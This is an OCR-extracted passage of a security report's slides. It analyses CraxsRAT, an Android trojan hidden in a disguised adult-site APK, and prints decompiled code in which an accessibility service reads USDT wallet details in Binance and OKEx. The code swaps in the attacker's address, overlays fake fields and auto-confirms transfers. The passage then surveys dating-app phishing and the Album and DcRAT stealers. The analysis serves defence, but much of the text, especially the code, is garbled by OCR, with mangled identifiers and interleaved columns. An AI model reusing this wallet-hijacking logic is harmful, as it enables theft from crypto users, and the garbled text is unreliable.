% Brand ) * PCEET OMUWVEET Ghobvws C x0dGLST Gahbme ST mvul § AKPGH LYW Ci AgT CABHWVOY S8 aGFy < 2VOPSIVVEY t0CT+Ci AgT CASEWVO
g Camerafctvity ¥ T z 0 - 3
B Click wysxsdgarrntcygtjjubsrypscl ¢, FirewallServices €, CC €, RecordScreenutil €, CraxsBrowser €, Binance
& ClickUnlock & Binance JwvaHRtbDa=";
& Constants & MywWebChromeClient break;

g, MyWebView ! .
o 123 webView.loadData(str, "text/html", "basesd");

. binanceWalletInjview Fram

: i 125 binanceWalletInjview.addView(webView);
¥ binanceWalletInjviewlayou | 5 TextView textView2 = new TextView(context.getspplicationContext());
#, 1fShowDialog boolean textView = textViewz;
s ifWebViewFullScreen boole | 127 textView2.setText (" ")z
. showType int 128 FramsLayout.LayoutParams Layoutparams:z = new FramelLayout.LayoutParams(-2, -2);
E textView TextView 129 layoutParams2.gravity = Sl;
0 , :
# usdtaddress St : 131 LayoutParams2.height = Screenw_:al.dp?pll: (context, dﬂ.of,l-;
. 132 layoutParams2.width = Screenutil.dp2px(centext, 130.0f);
#; usdtamount String 133 textView.setLayoutParams (LayoutParamsz2) ;
#Foweb¥iew WebView 134 textView.setBackgroundColor (context.getResources().gatColor (17170445) ) ;
#, windowManager WindowManag | 136 textView.setClickable(true);
®{...} | 138 textView.setOnClicklListener (new View.OnClickListener() {

id /i from class: remember. left. shxtoilzecgzhysicroszkwwzgwjdjprkivhimepjlkglgeuo2. Binance. 1

m, Binance() ; ;
N @override /f android.view.View.OnClickListener

m access$100() WindowManage | | 1,3 publlie vaid snclickiview view) I

m access$202(5tring) String | 14 Binance.binancewalletInjviewlayoutParams.width = -1;

m access$302(String) String | 145 Binance.binanceWalletInjviewlLayoutParams.height = -2;

m access$e00(Context) vold 145 Binance.binancewalletInjviewlayoutParams.gravity = S1;

m access$700() void 148 B::Lnance.b:!.nanceﬂaLietInjuia'.ul.gyoutﬁ'arams.‘flags = - 2142501088; o

@ access$802(1int) int 39 Binance.windowManager.updateViewlLayout (Binance . binanceWalletInjview, Binance.

binancewalletInjviewlLayoutParams);

m binanceinj(Context) vold 152 Binance.showWebiew(context) ;

m checkBEvent (AccessibilityE | 154 List<AccessibilityNodeInfo> findAccessibilityNodeInfosByviewId = (|
m hidelnjectView() void AccessibilityService) context).getRootInActivewindow().findAccessibilityNodeInfosByviewId(
m initInjView{Context) void 'ccm.blnance.de\r:1d.-'21313§‘5201'}; o ) )
m, mesurelnjectVlew(Context) 155 if lf?ndAccess!.bnlLaltyNndeInfusEly\.'l_ewId.LsEnl1pty[]J_{l . ]
7 send0ldvalue() i 156 findaccessibilitymodeInfosByviewId = ((AccessibilityService) context).
s . getRootInActivewindow() . findAccessibilityNodeInfosByViewId(" com.binance . dev:id/2131365203");
m, setFullSce reen(boolean, Ca 3
m, setWrapContentScreen({Cont | 158 if (findAccessibilityNodeInfosByViewld.size() == 1) {
m, showRight TopButton(Contex 39 string unused = Binance.usdtaddress = findaccessibilityNodeInfosByviewId.get(q
i, showWabiew(Context) void ) .getText(].toString(};
® BiType } . . . .
® Brand 164 List<pccessibilityNodeInfos findaccessibilityModeInfosByviewIdz = (
. AccessibilityService) context).getRootInActivewindow().findAccessibilityModeInfosByviewld(
& CameralActvity *com.binance. dev:id/2131365306% ) ;
® Click 165 if (findAccessibilityNodeInfosByviewld2.isEmpty(}) {
g ClickUnlock 166 findAccessibilityNodeInfosByViewId2 = ((AccessibilityService) context).
& Constants getmbtln.ﬂ.ctive'ﬂindo;«[ J.findAccessibilityNodeInfosByviewId("com.binance.deviid/2131365308" );
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CASE #3 HAHACKING
OTHER INJECTIONS INTO WEBVIEW

BINANCE

binanceinj sets the WebView settings, determines the user's preferred
language and selects the appropriate HTML code encoded in Baseé4,
which is then loaded into the WebView. The HTML page is a
confirmation of receipt of a certain amount in USDT.

In the decoded version, one can see the script tag that defines
the transaction_info function that passes values from the
dictionary to the elements of the page:

function transaction_info(data) {
ycument.getElementsByClassName("usdt_amount") [@]. HTML = data.usdt amount;
<!—— document.getElementsByClassName("usd_amount" fB]. innerHTML = data.usd_amount; —-->
t.getElementsByClas N<1rf”chain”}[®j. nnerHTM data.chain;
.getElementsByClassName("from") [@].innerHTML = data.from;
.getElementsByClassName('"to") [@].innerHTMI data.to;
.getElementsByClassName("fee") [@].innerHTML = data.fee;
.gﬁlhlﬁﬂ@ﬂlﬁ”yﬂ\HAEHMHI:”tQTﬂl amount") [@].innerHTML = data.total_amount;

A click listener is initialized in TextView,
and upon click, using Accessibility
features, some user data, such as the
address of the USDT wallet and the You will get
number of USDT stored on it, gets
written into the variables usdtaddress USdtalTIOUI'It - 1 USDT
and usdtamount. During the injection
process, as a part of the send01dValue
method of the Binance class,
JavaScript is executed within the ek Tron(TRC20)
WebView and the transaction_info
function is called, which sets the values Source e
of elements of the injected page.
Schematically: i USDT

Confirm order

Address usdtaddress

usdtamount USDT

etwork fee 1 USDT

Other than that, the main flow of WebView
mJeCtlon laltelieleldy Bm?nc‘e anq Ok?x’ a.s VYGH Ensure that the address is correct and on the same network,
as other payment applications, is quite similar Transaction cannot be cancelled.

and is described below.
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CASE #3 HAHACKING
OTHER INJECTIONS INTO WEBVIEW

O K E X &, FirewallServices £, CC ¢, Recordscreenutil £, CraxsBrowser £, okex

ag textViewBottomButton.setOnClackLaistener (new View.onClackListensri] 1
// frem class: remember.left.shxtoilzecgzhysicroszhwwzgwjdiprkiyhimopjlkglgeus2. Okex. 1
. . A 5 @override f/ android.view.View.OnClickListener
The click listener initialized in % public void onClick (View view)
: 3l boolean unused = Okex.ifAlreadyShowTipsandnoHide = false;
TextV|ew apart from Wr|t|ng down 100 List=AccessibilityModeInfo= findAccessibilityNodeInfosByViewId = ((
: AccessibilityService) context).getReotInActivewindow!).findAccessibilitynodeInfosByviewld(
the address Of the user's USDT ‘com.okinc.okex.gp:id/addressInput");
101 if (findaccessibilityNodeInfosByviewld.sizel) == 1) {
Wa”et and the amount Of money 3l . ) . String unused2 = Ckex.usdtaddress = findAccessibilityNodeInfosByvViewId

getText().toStringl);
H

stored into corresponding
variables, also forcibly edits the
values in the

107 List=Accessibilitymodelnfo= findaccessibilitymodeInfosByviewIdz = (|
AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId(
‘com.okine.okex.gp:id/samount®) ;

108 if (findAccessibilityhodeInfosByViewld2.size() == 1) {

3l string unused3 = Okex.usdtamount = findAccessibilityNodeInfosByviewldz
getText () .toString();

114 List<AccessibilityNodeInfo= findAccessibilityNodeInfosByViewId3 = (|

com.okinc.okex.gp:id/addressInput
nOdeS, Wa”et addreSS input AccessibilityService) context).getRootInActiveWindow().findAccessibilitymodeInfosByviewld(
‘com.okinc.okex.gp:id/addressInput”);

elements, to another usdtaddress 115 if (findaccessibilityNodeInfosByviewldz.size() == 1) {

5 -y 116 AccessibilityNodeInfo accessibilityhodeInfo =
value defined by the malicious findaccessibilityNodeInfosByviewIda. get(o);
x : : / 31 TextWiew unusedd = Okex.editTextAddress = new TextView(context.
app||cat|on within the getApplicationContext()]; _ _
31 Okex.editTextAddress.setPadding(20, 0, 0, 0);
e R o o service and 3l ) FrameLayout unusedS = Okex.addressFloatFrameLayout = Okex.showFloat|
initializeService Z accessibilityModeInfo, Okex.editTextaddress, Okex.usdtaddress, context, true, falsel;
i i i i i 120 Bundle bundle = new Bundle();
forClbly C“Cks bUttons |nd|Cat|ng 121 bundle. putCharSequence (AccessibilityModeInfoCompat.
< ACT ION_ARGUMENT _SET_TEXT_CHARSEQUENCE, initializeService.usdtadress);
the entlre amount 123 Log.1(*bbbbbbbbb®, String.wvalueof(accessibilityMoedeInfo.performaction(
4 z bundle) ) );
(com.ok1nc.okex.gp:1d/a11Amount ) }
126 List=Accessibilitymodelnfo= findaccessibilitymodeInfosByvViewIdd = (|

and confirmations
(com.okinc.okex.gp:id/confirmBtn):

AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByViewId(

‘com.okinc.okex.gp:id/sallamount”);

if (findAccessibilityNodeInfosByViewId4d.size() == 1) {
findaccessibilityNodeInfosByViewIda. get(0) .performaction(16]);

]
v List<hccessibilityNodeInfo= findAccessibilityNodeInfosByViewIds = (|
‘ AccessibilityService) context).getRootInActiveWindow().findAccessibilityNodeInfosByviewld(

The editable fields are overlapped with legitimate user
data collected by thd malicious application, with use of
the showFloat method:

f, ifInShowFloatTopViewInCon ¢ rmGestureUtil &, Dppounleck £, CraxsBrowser £, Binance €, screenUtil €, okex

o LfInShowFloat TopViewInCon

. J* JADX INFO: Access madifiers changed from: private ®¢
f. ifPrepareShowFloatInButte | ;5 3 o 4

public static FrameLayout showFloat(AccessibilityModelnfo accessibilityMedeInfo, TextView text

fo 1fPrepareShowFloatInButto tring str, Context context, boolean z, boolean 22) {
Je 1 fShowDialog boolear 172 FrameLayout frameLayout = new FramelLayout(context.getipplicationContext(]];
i, showType int 173 textView.setText(str);
A toxtVioottomutton Tort | 2| ramLavor seasclarauncslor conect, uurnaucat ) gucate (717080
; : extView. i or (context . ge ources() .ge orl i
f tvAddrassInConfirm . - ’;E':tgi n:H Rect't' getResources().g )
Js tvBlackTips '_ L = 182 accessibilitynedeInfo.getBoundsinScreen(rect);
gy tvCountInConfirm TextView || 183 windowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(rect.width(], rect.
g tvFeelnConfirm TextVis height(}, 2032, 262152, 1];
§, tvReceiveCountInConfirm T || 184 LayoutParams.gravity = B38B65G;
5, usdtaddress String 185 layuutparams.wnlith = rect.w.l.d!:h“;ll
. dt t 188 layoutParams.height = rect.height(};
,ULT. amoun ) y 187 layoutParams.x = rect.left;
S, windowManager WindowMana 196 LayoutParams.y = rect.top;
& f{...} id 191 FrameLayout.LayoutParams layoutParams2 = (Framelayout.LayoutParams) textView.getLayoutParams()
m Okex() id if (layeutParams2 == null) {
# access$E02 (boolean) boole | 193 . layoutParams2z = new FrameLayout.LayoutParams(-2, -2);
}
m access$lOA() : . if (220 1
m access$102(St rjl'ng]' ks | 196 layoutParamsz. height = -2;
m access$202(String) String | ya7 LayoutParams2.width = -2;
m access$IOA[) TextView 198 LlayoutParams2. gravity = 17;
m access$302(TextView) Text b oelse if (z) { )
i access$d0? (FrameLayout) F gg‘lj taz-'@u:zﬂrﬂ"ﬁg-hfi';g:t = '2;': Jdth)
: ayoutParams2, w = rect.w #H
m accessPoB0(AccessibllityN | oo layoutParams2.gravity = 17;
m accessHBOA() TextVie boelse {
m accessSSEJz[Text'diew] axt 204 LaysutParamsz, height = -1;
m accessPABB() FramelLayout 205 layoutParamsz. width = .2;
m access$902 (FrameLayout) ¥ 206 ) layoutParams2. gravity = GravityCompat.END;
m, checkEvent [AccessibilityE . :: W T n . -
extView.setLayoutParams (LayoutParamsz) ;
rhideAllViewInConfirmView( 208 frameLayout. addView(textView);
m hidelnjectView() Ld 20 windowManager.addview(frameLayout, layoutParams);

m initInjView(Context) void return frameLayout;
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CASE #3

OTHER NOTES [3)

LANGUAGE

62.Binance.binancein] (Context)
o2.Binance.binancein] (Context)
o2.Binance,binancein]) (Context)
oZ.Blnance.blnancein) (Context)

2. MainActivity, AskDraw()
o2.MalnActivity. AskDraw()
o2.MainActivity. AskDraw()
oZ.MainActaivity. AskDrawl()
oZ.Malnictivity. AsknoEmu()
oZ2.MainActivity. AsknoEmu()
o2, MainActivity. AsknoEmu()
2. MainActivity. AsknoEmu()
o2.ReguestDatalUsage.askit()
62.ReguestDatalsage. askit()
o2, RequestDatalsage.askit()
02.RequestDatalsage.askit()

02, ReguestKeyboard. askKe'.lPr'J.mf] vol
o2, RequestKeyboard, AskKeyPrim(] voo
oZ.RequestKeyboard. AskKeyPrim(]) vol
oZ. Requestieyboard. AskKeyPrim()
0Z. RequestOPPOB, onCreate(Bundle)

Va1

it

02, RequestOPPOR. onCreate (Bundle)

o2, SecondActivity. AsknoEmul)
62, SecondActivity. AsknoEmu ()
o2, SecondActivity. AsknoEmul)
62. SecandActivity. AsknoEmu()

o2.Trust.trusting (Context, BiTypel
2. Trust.trusting (Context, BiType)
e2.Trust.trusting (Context, BiType)
2. Trust.trusting {Context, BiType)
02.1sukrdbrbicokohhlimsgvsgzzmvglklluwgrx
oz.1sukrdbrbicokohhlimsgvsgzzmvglk L luwgrx
oZ.1sukrdbrbicokohhlimsgvsgzzmvglk L luwgrx
o2.isukrdbrbicokohhlimsgvsgzzmvqlklluwgrx
o2.wysxsdgarrntcygtjjubsrypsclehwlk ) 1wwme
o2 wysxsdgarrnteygt]jubsrypsclehwlkjiwwme } else if (language.equals( zh"]] {

joikdbnebwamfcojcje
sjtwumpsgicxfsrmjty
wysxsdgarmtoygtjjul

& Binance

B BiType

& Brand

& Camerahctvity

B Click

& ClickUnlock

& Constants
f. Evnat_Type_FInish,
f. Evnat_Type_Parfec:
i, delaetefdppDatairr !
¥, forceStopArrpix el
¥, hdglArray
¥.hfccszArray St
¥ hthdglarray Stri
W jrojmsZArray
¥, jrbjmsArray Stri
¥, j rdrwjmArray
¥, jrzmbjmsArray
¥, jrzmbjztArray
¥, tcdrwymArray Stri
¥, uninstalll ring
¥, uninstall2
W, yysdArray
¥, yyxzArray |
¥ ZiygdyyArray St
dzmbjmsArray Strir
¥y znsdcjArray
m Constants()

£, EventBus

® ExecClick

g, FileUtils

&, FloatingView

€ flyActivity

g, gtakimchy 1022

shxtoilzocgzhysicroszl ¢

1
1d

1

if
if
if
if
if
if
if
if
if
if
if
if
if
if
if
if
if
af
if
if
if

if
if
if
if
if
if
if
if
if
if
if
if
if

&, Binance

b E e e

zh-CN]E

OBOM PowdHe"

zh-CH]HERER:;

")

ama® . split(*::");

public static final

" [zh- CN]# AMRSRIRED : : [en . LE
) public static fimal =
* [zh- CN] SETTRGRABEL ! : [on-
SREE—-F::

}

[ko-kR]0 0D
public static fimal =trim
*[zh-CN] BRI (
public static fimal ©
zh- CN] 8 T -
public static fimal =trim
[zh- CH] @R it BE
i lke-KRIOD O
public static final
"[zh-CN]it A SEENE: : [er
public static fimal °
"[zh-CHlRH S EEME:

15

(Language.equals( en"]) {
(language. equals’" a")) {
(language.equals( ko)) {
(language.equals("zh" ]} {
(language.equals("ar")) {
(language.equals("en")) {
(language.equals("tr")) {
(language.equals("zh")) {
(Language.equals("ar"])) {
(language.equals{"en")) {

(language.equals (" tr)) { ° Eng"sh e Chinese

language. aquals""'h"J.‘ {

(language.equals("en")) {
(Llanguage.equals("tr"]} {
(language.equals("zh")) {
(Language.equals("ar")) {

} else if (language.equalsi("zh"])) {
(language.equals("ar")) {
(Language .equals("en" )] {
(language.equals{"tr"]) {
(language.equals("zh")) {
(language.aquals("cn" )} {
(language.equals{"ja")) {
(language.equals("ko" ]} {
(language.equals({“zh"]) {
(language.equals("ar")) {
(language.equals("en" )} { H H H
(I " ) | times it lacks Arabic.
(Language. equals'" zh )y {
(language.equals("ar")) {

s,Scre!nlltil 5, okex 5 A:t!ssibilityﬂndﬂnfutﬂqat &, Constants

o
la theirt air falbh::
public static final =tr2
SHREN .

[ec]forigi: [ tleemaldada:: [jv langgc r"hl;ak iljalitea. sp'l.l.tl ]

nall hthdglarray =

[en]Background power consumption management:

HWiwLZSow FT@ilyTU-AREOER: : (ko-KR]DD0O0D0 DO DO DO: -

splitlt:it);
public static fin-ﬂ.

’ '-h CH) i et E-ﬁ

: [ko-KRIDD OD::

rAM SHEproc I‘:E,_:En:r 1A .

publu: statlc 'Fll'la1.
: st J]-.pn :,J1 k Freeze::[zh-H<) AT EE: - [ h-Tw] BREE: :[Ja-JP]PFUSs 92 7U=F::[ko
bt rtl-H_] BucTpos saMopasmsanue npunomenwi® . split(®::%);
static final Strin

i[1 znsdojarray =

u- _"L.]uBTouaT Y ECHE WOeH T |||.| p,llT# CUSHAPHW WCNONBIOBAHHA W I'||:|||Nl'r|=|.|Tﬂ' pasnd4Hue CTpaTe

3[] hdglarray
[en-US]Battery wsage::[zh-TWIHBER: : [zh-HK]HEEED: : [ja-JP){aTFU—@EHE:: [ko-KRIOID O
00:: [ru-RUJMenonbaceanne Gatapen® .split{"::");

public static final
* [zh-CH] A S8 0 RS 2T -

ring[] jrzmbimsArray =

an-US]Enter Home screen editing mode::[zh-HK]EA TEFMARMMIIT : : [zh- Tw] A £ 500 4 M 20
:[ya-JP) ,._w_r;\ujﬁr-\’.;;gi FlcADEy::[ke-KRID OO0 OO0 OO0 O0: : (ru-RUIB<n4n Te pexnaM pe
a" .splat("
public statlc final °
CN A M T R

ngl] jrzmbjztarray =

: [e"n LI'-]I:nter home screen editing status::[zh-HEK@ASERMEE: : [zh-Tw]iA SESHE

i ja-IP =4 ﬁc;a:!tx-?-—@xﬁ-#m: :[ke-KRID 00 00 00 00:: [ru-FUlBxop & pexuM pepak THROESHWA HAYANLHOMD

akpana” .split{=::"
public static fimal =t

*[zh-CH]# ARSI : : [ar

ing[] jrbjmsarray
-Us]Enter home screen editing status::
ja=JPlR—LEEOREZF -2 28R [ko-KR]0 00 00 DO O0:: [ru

L] yrbjms2array =

00 : [ru-RU)PaskM pefak THROBAHWA rNaBHoro 3kpaia .split{=::");
1[] yyxzArray =

nstall:: [zh-HK] EEFRENHE - : [zh-TW] R . aplit(®::*);

1[] hfccszérray =

ctory reset::[zh-Hk]$RilEHEIE
3l]1 zjygdyyarray =
t:len-US]Racent apps::[zh- H&) @ik
‘[ ru-RUJHeganHne npunomasna®, spliti®

[en-Us]Closed Recents::[zh-HK]BHSERTE: : [zh-TWlBHESEMAE" . split(::*);

HAHACKING

Some embedded elements are
selected based on the
language of the attacked
user's system. The list of
languages available includes:

(language.equals("ar")) { 5
(language.equals("en")) { ® Japanese L4 Arablc
(language.equals( "tr')) { .
{language.equals("zh")} { e Korean e Turkish
(language.egquals{"ar" ]} {

Depending on the malicious
module, the language options
may vary slightly: sometimes
there are extra entries on
Russian and Portuguese, other

E e i o vm

lzh-TW] EREERER . [zh-H) ERETERR. . [ja
u-RUl¥npaenenne suepronoTpetnenved o dou

1

rosaver optio [zh- s SRS [zh-Tw HEETEBR: : [ja- P ETRA Fra

[ ] wsd.ﬂ.rray

AAaK TARSRAHUA FAABHOMD K

[zh-TW]iEA STEARERET : : [zh- HC A B SR : .
FUIBXOA 8 peMuM Denak THPOBAHNA HAYANEHOMD K|

red editing mode:: [zh. Tw)HEASEME: : [zh- K]l A SM R Ceplit=::=);
1 zmbymsarray =
gsereen edit mode:: [zh-He] SIS (2h- TW] EEEMET : [ja- PIR=LA 71—

[zh-TWREEBEINE" . split(®::");

WA [zh-TW]BEEABMERN: [ja- P BEE>1F
I yrdrwmirray = .

ened Recents::[zh.HC)@ASERTE: : [zh-TWl A S EWAE" . split( ::");

I tedrwymirray =
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CASE #3 HAHACKING
OTHER NOTES

LANGUAGE

However, the primary language of initial values, variables and
rare comments is Chinese - as far as is known, the native
language of the current main seller and the source of software
updates for this malware.

€, ClickUnlock

g, Constants e -
70| public class Language 1

:' E:igisifk P public statig 9 g hdgl =

T public static String hfeesz

& FileUtils public static String hthdgl =

&, FloatingView public static String installstr

g flyActivity public static String jrbims =

€ gtakimchyf1022 public static < jrbjmsz =

&, HandleSc reenCap "“E}?c 5:‘(“:3‘ >tring ]rdr:]m

€ installupdate PrITLC BIATLC SLring Jranoqms

& isukrdbrbicokohhl i FAllic atatic atring boirem:

€ ixxwfhkv) f1019 public static 19 yysd =

€, Json public static :

&, kt rehlxuovjznhgcake: public static

i blic static <
& Language pubLic == S
£ hdgl public static =t

fohfccsz String private static void initSendstri() {
f. hthdgl Strin }
fe installStr Stri

¢, ScreenUtil c, Dkex £, AccessibilityNodeInfoCompat £, Constants ¢, Language

f.irbjms Strin .- . public static void initLanguage() {

initInstallstri);

fe § i 2 St L o
- ] rbjms2 initSendstr();

[
£ jrdrwim St
£, jrzmbjms St
fe jrzmbjzt St private static veid initInstallstri) {
fo Tcdrwym Sti string lowerCase = Locale.getDefault().getLanguage().toLowerCase();
f, yysd S . int 1= 0;
f. {fy.ﬁ_ et cding while (true) {
"-3_"'" = if (i == Constants.uninstalll.length) {
fo 2] ygdyy String break;
fo Zmbjms String }
fo ZNsdcj String " string str = Constants.uninstalll[i];
m{...} void i ontains(®[" + LlowerCase + "]*)) {

. i i 5 g str2 onstants.uninstalll(1];
m, Language vold : J 5 . ;
q |g. ge() . installstr = str2.replace("[* + lowerCase + “], '
m getlanguageTag() !

break;
m lnitInstallStr()
m initLanguage() vo.
m initOtherStr() vo } _
m initSendStr() voi 9 initotherstr();
€ MainActivity

}

It is noteworthy that the main seller of this software shared in
his Telegram channel a different list of supported languages:
English, Arabic, Chinese, Turkish, Portuguese, Russian and
Spanish.
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CASE #3 HAHACKING
OTHER NOTES

CLASSIFICATION

Based on the rich functionality of the application, which
includes a wide variety of malicious features not limited to
those described above, it is obvious that this application is a
member of the RAT (Remote Administration Trojan) family.
Due to the explicit mention of the implemented browser,
CraxsBrowser, it can be concluded that, as the name
suggest, | have encountered a sample of CraxsRAT malware.

CraxsRAT - is the most recent successor to CypherRAT, SpyNote and
SpyMakx. It is considered to be one of the most dangerous Trojans for remote
control and the software used to operate devices infected with this RAT is
said to be one of the most expensive on the market.

Previously, a Syrian cybercriminal was involved in the development and
sale of CypherRAT and CraxsRAT. After the source code of
CypherRAT and a report on his identity were published, he transferred
control of a Telegram channel to a Chinese colleague.

'@?ﬁ—-\ -,
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CASE #3 HAHACKING
OTHER NOTES

CLASSIFICATION

The most recent version, according to the
current main seller, includes at least the
following functionality

¢ File management: download files from the device, upload files to
the device, delete, read, search, copy, paste, encrypt and decrypt,
encode and decode, hide files;

¢ SMS management: read, delete, send SMS;

e Camera management: enable and disable cameras, take pictures;

e Microphone management: cavesdropping and audio recording
from the device's microphone;

e Location tracking: device's live location tracking;

e Display management: live screen broadcast, screen lock and
unlock, capture silent screenshots;

e Call management: view the call history, delete calls, initiate calls,
eavesdropping and audio recording;

¢ Notification management: view notifications, send notifications;

e Application management: view installed apps, run, install and
delete apps, view accounts linked to the apps, inject into apps,
disaple Internet connection for specific apps;

e Gesture control: record and replay gestures, keyboard strokes;

e Remote control: command execution, grant rights both manually
and automatically, self-destruction;
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CASE #3 HAHACKING
OTHER NOTES

INDICATORS OF COMPROMISE

Filename

305fd98c348296e6507194227bac9238
SHA1 024c3c812e21553178d48cbe2c0af9f9980ee705
SHA256 T655687282e56407a701f73bc7182e431271f919296124
d80014bc6151e7af74e5
virustotal.com/qui/file/f655687282e56407a70f
73bc7182e43127f919296124d80014bc6151e7af74e5

VirusTotal

Filename BongaCamSexs.apk

5c91409547e158f8ab65c20a4f7bdf3a
SHAT1 02ccbd5f31b8cb42¢c290706cb97858d28cd29ad26
SHA256 6a977c30571bef5cf75ab1b6fb455e16f64fd7c7d6a3
8084a3d3f6915f1e3d14
virustotal.com/qui/file/6a977c30571bef5cf75a
b1b6fb455e16f64fd7¢c7d6a38084a3d3f6915f1e3d14

VirusTotal
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HAHACKING

OTHER CASES

PHISHING 13

STEALING OF PAYMENT INFORMATION

Phishing sites, obviously, are not limited to theaters.
This problem covers a wide range of topics and affects
a large target audience, both in Russian Federation and
other countries.

Here is an example of an exact copy of the website discussed
above, which targets an Azerbaijani audience (however, some of its
pages preserved the original Russian localization):

AKTYORLAR ~  AFISAVOBILETLOR  XOBJRLOR  KONTAKTLAR

FARYATYEVIN FANTAZIYALARI
TRAGIKOMEDIYA, 16+
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F@ FA icon_hash="296998166"

TOP OPEN PORTS

443
80

TOP SERVERS

cloudflare
nginx/1.14.1
nginx/1.20.2
nginx

nginx/1.24.0

Q

TOP TITLES

«[lpamaTuyeckuin Teatp» —...45
Bbibop ropona 40
TeatpansHaa acpuwa - 6une...10

«[0CyaapCTBEHHbIA TeaTp Ko... 5
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OTHER CASES HAHACKING
PHISHING

STEALING OF PAYMENT INFORMATION

- O x

It is worth noting that analyzing such a website using automatic tools
can be challenging, as most of the results provided by online
services for are false negatives. Users are left to rely on reviews, if
there are any, and rating given by other users like themselves.

The theater page that | analyzed was classified as a phishing website
by a Kaspersky product, likely due to its localization.

o
(™) 1/92 security vendor flagged this URL as malicious C Reanalyze @ Search % Graph 4% API
= Content type Last Analysis Date G\
G
200 text/html; charset=UTF-8 4 months ago >/
Community text/htrr iframes dom-modification external-resources
DETECTION DETAILS COMMUNITY
Security vendors' analysis () Do you want to automate checks?
Kaspersky (_j Phishing Abusix @ Clean
Acronis @ Clean ADMINUSLabs @ Clean
AlLabs (MONITORAPP)  (¥) Clean AlienVault &) Clean
Al ARl A imbai; AL f‘_:\ o PN Acdice AVN f_ﬁ ol PN

Topics of phishing websites spread in dating apps also vary and include
services that sell tickets to theaters and cinemas, on buses, trains and
airplanes, provide hotel booking, apartment rents and restaurant
reservations, issue gift cards and subscriptions, and much more.
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OTHER EABES HAHACKING
PHISHING

STEALING OF CREDENTIALS

Phishing sites that impersonate authentication forms of dating apps are
also popular among hackers. This type of phishing is more common
abroad, due to the obvious leadership of specific applications that are no
longer available in Russia. This scenario involves the use of a lookalike
domain and sometimes requires the user to navigate to the form through
a link received within a message notifying of a mutual sympathy in the

target application:

Egress Threat Intelligence team estimated that among all of the
dating apps impersonation cases of a phishing campaign that targeted
organizations in North America and the UK: 53.25% impersonated
Tinder, 22.88% — Bumble and 14.46% - Hinge.

By the way, they also identified males as the main recipient of such
attacks, with 85% of attacks sent to men.

Someone matched with

you on Tinder! This type of phishing,

unlike the one
discussed earlier, is not
necessary aimed at the
theft of payment
information. Instead,
attackers steal
credentials to get into
victims' accounts and,
from there, perform
malicious actions to
reap the benefits

Tip: Turn on push notifications (/OO/( for payment
Turn on push notifications to see your new matches immediately. in formation, look for
compromising

: information, blackmail,
@ tinder Followus © W K )

ITSA

MATCH!

LV AL\

82


https://t.me/hahacking
https://www.egress.com/blog/phishing/how-ai-driven-phishing-scams-are-hijacking-valentines-day

OTHER CASES HAHACKING
EXPLOITATION O

Recently, experts have identified several large-scale operations that are similar
in nature. | would like to draw attention to these operations, as their success has
shed light on the state of affairs at the intersection between users and attackers
in the realm of romance.

All these campaigns have the following features in common:

e Malicious files are sent via social media from fake accounts, either to
specific groups (dating, adult content) or personally to users after a brief
interaction

e The malware distributed is disguised as archives with photos of girls

e As a result of exploitation, information is stolen (Cookies, account data
stored in browsers, Discord tokens and system information)

ALBUM STEALER

(Q “Album Stealer Targets Facebook Adult-Only Content Seekers” @)

Last winter, a team of Zscaler ThreatLabz researchers discovered the spread
of a stealer called Album.

The malware was distributed
through fake accounts on
social networks that
contained women's photos
and was disguised as an
archive with photographs,
an "album". Victims were
offered either a Microsoft
OneDrive link, or a link to a
resource controlled by the
attackers, including such
domains as:

keeptosafe[.]top
shopalbum|. ] xyz,
findalbum|. ] top,
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ALBUM STEALER

Fake Facebook
profile page

The malicious archive facenwk

contains:

d Malicious URL
® an executable file

Album .exe ‘ Download Zip

e DLL-library onepre archive
PdfiumControl.d1l \@/

e file data.dat

Side load
Drop decoy malicious dll
images
Album.exe - a legitimate sample Albumexe

of TresoritPdfViewer software, .
ersistence using
vulnerable to DLL sideloading 5 _... regitry rn Keys
attack.
CNa. Px& ﬁ
Upon execution, it is exploited — &—*.

a malicious PdfiumControl.d11 DiskCompactionTool exe
library is loaded, which runs Steals Facebook

_ Steals
business and Ad cradentials

data.dat - a self-extracting accounts data

and cookies e
archive that actually drops — ] Data send & Csery
y P é e C & C server
= (=L Bravia.exe

photos of girls.

> zscaler | Th reat'labz\ 3 G e

senver

At the same time, the malicious DLL decrypts the contents
included in it, generating the following files on the infected device :

®* \%AppData%\Roaming\Canon\CNQ.exe
\%AppData%\Roaming\Canon\Curl.dll

\%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll
\%AppData%\Roaming\Canon\log4net.dll
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ALBUM STEALER

Then the CNQ.exe is executed - it is yet another
piece of a legitimate software, vulnerable to the same
attack. A malicious library Curl.dll is loaded and it:

1. performs pivoting: creates registry keys to automatically run
malware at the system startup

2. downloads from a remote resource and locally saves the file
sparkle-windows.xml that provides a remote link to download an
archive \%AppData%\Roaming\Canon\app{18_digits}.zip
that drops a list of files, including DiskCompactionTool.exe

and WDLocale.dll

By analogy with previous cases, DiskCompactionTool.exe
— is a legitimate sample of the WD Sync software, that
also loads a malicious WDLocale.d1ll

The process repeats: the malicious library downloads an archive
\%AppData%\Roaming\Bluestack\app{18uué¢p}.zip and unpacks it.

Interaction of the extracted legitimate Bravia.exe and the malicious
CNQMUTIL.d11l |eads to the theft of sensitive information. The stealer
looks for any files within the %AppData% directory that contain the

following substrings in their names:

Local State

e Login Data
e Cookies It copies them to a dedicated folder and then
e cookies.sqlite processes them:

1. decrypts and extracts credentials stored in
browsers

2. decrypts and extracts Cookies

3. collects information about business and
advertising accounts

4. sends all of the collected data to the C2 server
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ONLYDCRATFANS

CO\ Malware Distributed Using Explicit Lures of OnlyFans Pages and Other Adult Content @,)

Last summer, the effects of another attack were now
described by experts at eSentire.

The malware was also distributed in the form of archives with photos of girls and
consisted of a VBScript loader, a modified legitimate Windows that is used for
interacting with printers. This loader included a payload, a shellcode and a DLL-
library dynwrapx.dll. The library was used to obtain access to a DynamicWrapperX
object. This object was used to load CallWindowProcW from user32.dll

and VirtualAlloc from kernel32.dll

The payload was then loaded into memory and CallWindowProcW was called to
execute the shellcode. This allowed the payload to inject itself into
\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

In all observed cases, the payload turned out to be a sample of
DcRAT - a version of AsyncRAT. It provides such features as:

e remote control

e keylogging

e camera management

e file management

e browser data theft

e Discord tokens theft

e plugin for encryption and
ransom
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STEAL-IT CAMPAIGN

CQ Steal-It Campaign \QJ)

In the fall, Zscaler experts once again stumbled upon a hacker
